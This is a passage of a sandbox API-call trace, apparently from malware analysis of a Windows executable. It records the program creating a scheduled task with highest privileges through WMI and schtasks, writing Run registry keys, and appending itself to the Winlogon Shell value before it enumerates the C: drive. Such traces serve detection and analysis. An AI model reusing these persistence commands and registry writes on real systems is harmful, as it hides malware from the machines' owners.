pToken=0x1b30cea0) returned 0x0 [0112.349] WbemLocator:IUnknown:AddRef (This=0x1b4ad738) returned 0x3 [0112.349] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4ad738) returned 0x0 [0112.349] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x3 [0112.350] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x2 [0112.350] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0112.350] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af2e0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0112.350] IWbemServices:GetObject (in: This=0x63b300, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7fe0, ppCallResult=0x0) returned 0x0 [0112.355] IWbemClassObject:GetMethod (in: This=0x1b4d7fe0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4da5b0, ppOutSignature=0x1b30d610*=0x1b4d8da0) returned 0x0 [0112.355] IWbemClassObject:SpawnInstance (in: This=0x1b4da5b0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4707e0) returned 0x0 [0112.355] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c7d8*=0, plFlavor=0x295c7dc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c7d8*=8, plFlavor=0x295c7dc*=32) returned 0x0 [0112.355] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c7d8*=8, plFlavor=0x295c7dc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c7d8*=8, plFlavor=0x295c7dc*=32) returned 0x0 [0112.355] IWbemClassObject:Put (This=0x1b4707e0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 8 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0112.355] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c868*=0, plFlavor=0x295c86c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c868*=13, plFlavor=0x295c86c*=32) returned 0x0 [0112.355] IWbemClassObject:Get (in: This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c868*=13, plFlavor=0x295c86c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x295c868*=13, plFlavor=0x295c86c*=32) returned 0x0 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4ce630) returned 0x0 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0112.356] IUnknown:AddRef (This=0x1b4ce630) returned 0x3 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0112.356] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4ce638) returned 0x0 [0112.356] IMarshal:GetUnmarshalClass (in: This=0x1b4ce638, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0112.357] IUnknown:Release (This=0x1b4ce638) returned 0x3 [0112.357] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0112.357] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0112.357] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0112.357] IUnknown:Release (This=0x1b4ce630) returned 0x2 [0112.357] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0112.357] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0112.357] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0112.357] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0112.357] IUnknown:QueryInterface (in: This=0x1b4ce630, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0112.357] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0112.357] IUnknown:AddRef (This=0x1b4ce630) returned 0x3 [0112.357] IWbemClassObject:Put (This=0x1b4707e0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4ce630, varVal2=0x0), Type=0) returned 0x0 [0112.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af520, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0112.357] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0112.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0112.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af160, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0112.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0112.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af160, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.358] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.358] WbemLocator:IUnknown:AddRef (This=0x1b4ad738) returned 0x3 [0112.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad738) returned 0x0 [0112.358] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x3 [0112.358] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x2 [0112.358] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.358] WbemLocator:IUnknown:AddRef (This=0x1b4ad738) returned 0x3 [0112.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ad738, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4ad738) returned 0x0 [0112.358] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x3 [0112.358] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x2 [0112.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0112.358] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af520, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0112.358] IWbemServices:ExecMethod (in: This=0x63b300, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4707e0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4eace0, ppCallResult=0x0) returned 0x0 [0112.538] IWbemClassObject:Get (in: This=0x1b4eace0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299c418*=0, plFlavor=0x299c41c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x85c, varVal2=0x0), pType=0x299c418*=19, plFlavor=0x299c41c*=0) returned 0x0 [0112.539] IWbemClassObject:Get (in: This=0x1b4eace0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x299c418*=19, plFlavor=0x299c41c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x85c, varVal2=0x0), pType=0x299c418*=19, plFlavor=0x299c41c*=0) returned 0x0 [0112.539] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2bc) returned 0x0 [0112.539] RegQueryValueExW (in: hKey=0x2bc, lpValueName="pidgin", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0112.539] RegSetValueExW (in: hKey=0x2bc, lpValueName="pidgin", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\L2Schemas\\pidgin.exe\"", cbData=0x44 | out: lpData="\"C:\\Windows\\L2Schemas\\pidgin.exe\"") returned 0x0 [0112.539] RegCloseKey (hKey=0x2bc) returned 0x0 [0112.540] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2bc) returned 0x0 [0112.540] RegQueryValueExW (in: hKey=0x2bc, lpValueName="pidgin", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0112.540] RegSetValueExW (in: hKey=0x2bc, lpValueName="pidgin", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\L2Schemas\\pidgin.exe\"", cbData=0x44 | out: lpData="\"C:\\Windows\\L2Schemas\\pidgin.exe\"") returned 0x0 [0112.540] RegCloseKey (hKey=0x2bc) returned 0x0 [0112.540] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x2bc) returned 0x0 [0112.540] RegQueryValueExW (in: hKey=0x2bc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0xde) returned 0x0 [0112.540] RegQueryValueExW (in: hKey=0x2bc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x299d1a8, lpcbData=0x1b30d8b0*=0xde | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\"", lpcbData=0x1b30d8b0*=0xde) returned 0x0 [0112.541] RegQueryValueExW (in: hKey=0x2bc, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0xde) returned 0x0 [0112.541] RegSetValueExW (in: hKey=0x2bc, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\"", cbData=0x124 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\"") returned 0x0 [0112.541] RegCloseKey (hKey=0x2bc) returned 0x0 [0112.541] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x328) returned 0x2bc [0112.541] GetExitCodeProcess (in: hProcess=0x2bc, lpExitCode=0x258c87c | out: lpExitCode=0x258c87c*=0x103) returned 1 [0112.541] CoTaskMemAlloc (cb=0x404) returned 0x1b4cc2a0 [0112.541] QueryFullProcessImageNameA (in: hProcess=0x2bc, dwFlags=0x0, lpExeName=0x1b4cc2a0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x1b30dda8) returned 1 [0112.543] CoTaskMemFree (pv=0x1b4cc2a0) [0112.570] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xdb0) returned 0x430 [0112.570] GetExitCodeProcess (in: hProcess=0x430, lpExitCode=0x258864c | out: lpExitCode=0x258864c*=0x103) returned 1 [0112.570] CoTaskMemAlloc (cb=0x404) returned 0x1b4cc2a0 [0112.570] QueryFullProcessImageNameA (in: hProcess=0x430, dwFlags=0x0, lpExeName=0x1b4cc2a0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files\\Windows NT\\boy my record.exe", lpdwSize=0x1b30dda8) returned 1 [0112.571] CoTaskMemFree (pv=0x1b4cc2a0) [0112.573] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b7860 [0112.573] GetSystemDirectoryW (in: lpBuffer=0x1b4b7860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0112.573] CoTaskMemFree (pv=0x1b4b7860) [0112.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0112.573] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0112.574] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48fa90 [0112.574] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0112.574] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0112.575] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0112.575] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0112.576] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0112.577] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0112.577] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0112.577] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0112.577] FindNextFileW (in: hFindFile=0x1b48fa90, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0112.577] 